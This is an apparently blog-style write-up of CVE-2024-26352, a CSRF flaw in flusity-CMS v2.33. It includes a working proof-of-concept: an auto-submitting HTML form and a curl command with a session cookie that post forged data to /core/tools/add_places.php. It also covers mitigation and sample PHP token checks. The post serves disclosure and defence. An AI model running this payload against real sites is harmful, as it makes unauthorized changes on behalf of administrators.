---

Introduction

In early 2024, security researchers identified a critical Cross-Site Request Forgery (CSRF) vulnerability in flusity-CMS v2.33, a popular open-source content management system. Tracked as CVE-2024-26352, this security flaw allows attackers to perform malicious actions on behalf of authenticated users by exploiting the /core/tools/add_places.php component.

This post will break down what CSRF is, how the attack works in the context of flusity-CMS, and provide exclusive insight into exploitation steps, code samples, and best practices for mitigation.

What is CSRF? (Cross-Site Request Forgery)

CSRF is a type of attack where an attacker tricks a legitimate user into submitting a request that they did not intend to make. Since the user is authenticated, the system assumes the request is legitimate. A CSRF attack often leads to unauthorized actions like changing user details or adding content.

OWASP: Cross-Site Request Forgery

Vulnerability Details

- CMS: flusity-CMS v2.33
- Vulnerable Endpoint: /core/tools/add_places.php
- CVE: CVE-2024-26352 on CVE (link may update post-publication)
- Impact: Allows an attacker to add new places/locations or perform admin actions on behalf of a logged-in administrator without their consent.

The bug exists because the script at /core/tools/add_places.php does not validate CSRF tokens or any anti-CSRF mechanism.

How Does the Exploit Work?

If an authenticated user (like an admin) visits a malicious website while logged in to their flusity-CMS dashboard, that site could silently send a crafted POST request to /core/tools/add_places.php. The CMS, seeing an active session, would process the request, leading to unauthorized changes.

Attacker creates a malicious HTML page:

<!-- save as attack.html -->
<html>
  <body>
    <form id="csrf" action="http://VICTIM-SITE.com/core/tools/add_places.php"; method="POST">
      <input type="hidden" name="name" value="EvilPlace" />
      <input type="hidden" name="description" value="Hacked via CSRF" />
      <input type="hidden" name="address" value="123 Attacker St" />
    </form>
    <script>
      document.getElementById('csrf').submit();
    </script>
  </body>
</html>

Victim visits the attacker's website while authenticated on flusity-CMS.

3. The browser automatically sends the POST request to the CMS using the victim's cookies/session.

Here’s an equivalent curl command demonstrating the exploit

curl -X POST http://VICTIM-SITE.com/core/tools/add_places.php \
 -b "PHPSESSID=[Victim-Session-ID]" \
 -d "name=EvilPlace&description=Hacked%20via%20CSRF&address=123%20Attacker%20St"

*The above assumes the attacker somehow knows the session cookie, or, in the browser-based scenario, the cookie is sent automatically.*

References

- CVE-2024-26352 Detail *(listing may be pending)*
- CSRF Explained (OWASP)
- flusity-CMS on GitHub
- CVE-2024 public advisory sources

Implement CSRF tokens: Every form should include a token that must be validated on submission.

2. Check Referer headers: Only accept requests with legitimate origins, though this is not foolproof.

*Sample PHP CSRF implementation:*

// At form generation
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
echo '<input type="hidden" name="csrf_token" value="'.$_SESSION['csrf_token'].'">';

// At form processing
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF validation failed');
}

Conclusion

CVE-2024-26352 highlights the danger of missing even basic security checks in web applications. Attackers can easily hijack user actions by leveraging CSRF. Ensure all sensitive actions in flusity-CMS and similar platforms have up-to-date CSRF protection.

Stay patched, audit your code, and follow security best practices!


*Feel free to share or link this post. Questions or concerns? Find more at flusity-CMS’s GitHub issues page.*

Timeline

Published on: 02/22/2024 14:15:47 UTC
Last modified on: 08/14/2024 20:35:07 UTC